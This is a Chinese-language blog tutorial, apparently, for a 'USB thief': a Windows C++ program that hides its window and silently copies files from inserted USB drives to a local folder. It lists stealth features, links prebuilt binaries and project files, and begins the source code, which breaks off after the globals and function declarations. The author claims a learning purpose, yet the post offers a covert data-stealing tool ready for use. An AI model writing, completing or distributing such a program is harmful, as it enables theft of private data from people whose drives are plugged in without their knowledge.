4.手写一个U盘小偷

一、前言

本文主要介绍一个控制台版本的U盘小偷。

所谓U盘小偷,顾名思义,就是一种可以在暗中窃取U盘数据的一个程序

但本文志不在此,主要是学习U盘小偷程序中所用到的技术

我也在网上看到过部分U盘小偷源代码,发现很多缺陷,比如代码臃肿,执行效率缓慢,操作繁琐

所以我花了一天左右,也写了一个U盘小偷,并经过了十来次的代码测试,修复了相当多的Bug,最终成型,可稳定持续运行

运行环境为VS(Visual Studio),网上安装教程很多,这里就不再赘述,个人使用推荐安装社区版,免费使用且与其它版本区别不大,注意必须要安装C++开发环境

在这里插入图片描述

此程序主要特色有:

  • 程序可完全隐藏
  • 可通过全局快捷键显示或隐藏程序,启动或退出程序
  • 多线程并发执行,大大提高执行速度

此程序设计到的知识点有:

  • WIndows消息循环
  • C++结合Win API函数编程
  • 多线程编程
  • 防程序多开

一、程序演示

在这里插入图片描述

为了演示看到效果,我显示了窗口,实际上可以一直在隐藏状态下进行复制U盘文件

如果觉得快捷键不符合自己的习惯,可直接在此处更改:

在这里插入图片描述

具体如何更改,请参考RegisterHotKey 函数官方文档

二、项目下载

点击此处下载

在这里插入图片描述

该压缩包解压后如图 一,二项分别为32位和64位的应用,可点击直接运行,点击后是隐藏的,可按alt+z显示,具体快捷键参考上文

三,四项为项目工程,分别为vs2019和vs2022的项目

在这里插入图片描述

选择对应的版本解压,就可以直接点击UDisktThief.sln工程文件,直接用vs打开就可以直接使用

如果觉得应用图标不好看的,可以进入UDisktThief文件夹,删除app.ico文件,并将自己喜欢的icon格式的图像文件拷贝到这里,改名为app.ico,然后重新编译即可

在这里插入图片描述

三、源代码

#include<Windows.h>
#include<DbgHelp.h>
#include<iostream>
#include<queue>
#include<thread>
#include<mutex>
#include<atomic>
using namespace std;
#pragma comment(lib,"Dbghelp.lib")
//定义存储复制文件与目的地文件结构体
struct DString 
{
	string oldFile;
	string newFile;
	DString(const string& _oldFile, const string& _newFile) {
		oldFile = _oldFile;
		newFile = _newFile;
	}
};
bool isShow=false;
queue<DString> g_qFile; //文件信息队列
mutex g_qMutex; //队列互斥体
mutex g_outMutex; //输出互斥体
int g_numofThread=5; //开启复制文件的线程数
HANDLE* hThread = new HANDLE[g_numofThread];
atomic<int> g_exitThread; //记录退出的线程数量
string g_savePath = "D:\\Thief"; //保存文件的路径
ULONGLONG g_SpendTime;//记录拷贝所总共所用时间

bool g_bExit = false; //决定拷贝文件的线程是否退出
//注册全局热键
bool RegisterGlobalKey();
//删除全局快捷键
void UnRegistreGlobalKey();
//找U盘
vector<string> FindDriver();